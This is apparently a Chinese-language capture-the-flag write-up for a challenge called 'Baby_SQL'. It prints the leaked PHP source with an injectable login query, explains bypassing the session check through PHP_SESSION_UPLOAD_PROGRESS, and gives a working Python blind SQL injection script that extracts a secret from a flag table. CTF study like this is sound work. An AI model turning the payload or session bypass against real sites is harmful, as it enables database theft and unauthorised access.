Baby_SQL

source.zip文件泄露,审计源码

index.php中对所有输入的参数进行了单双引号以及反斜杆的过滤,这里不可注或者说难以注入。

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

login.php主要是对数据库进行SELECT操作,这里的usernmae可控,可以注入,那么我们需要绕过index.php的WAF来直接对login.php进行SQL注入,主要的就是绕过SESSION检测。

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

由于这里来判断是否登录只是单纯的判断了是否设置了SESSION,那么我们可以自己设置SESSION。这里用到SESSION_UPLOAD_PROGRESS,具体参见这篇文章:https://xz.aliyun.com/t/9545。由于没有回显,用了盲注。写了一个时间复杂度还算可以的脚本,凑合着用吧。

import requests


def post(i, j):
    sessid = 'tmp' #设置sessionid为cookie,与文件名相关联
    session = requests.session()
    payload = "admin\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" % (i, mid)
    response = session.post(
        url='http://6d257146-aac3-43a9-b036-cb2992e4d11e.node3.buuoj.cn/templates/login.php',
        data={'PHP_SESSION_UPLOAD_PROGRESS': "file_content"},
        cookies={'PHPSESSID': f'{sessid}'},
        files={"file": ('tmp.txt', '')},
        params={
            "username": payload,
            "password": "123456"
        }
    )

    return response.text


if __name__ == '__main__':
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            res = post(i, mid)
            if 'meta' in res:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if mid <= 32 or mid >= 127:
            break
        flag = flag+chr(mid)
        print(flag)

Last updated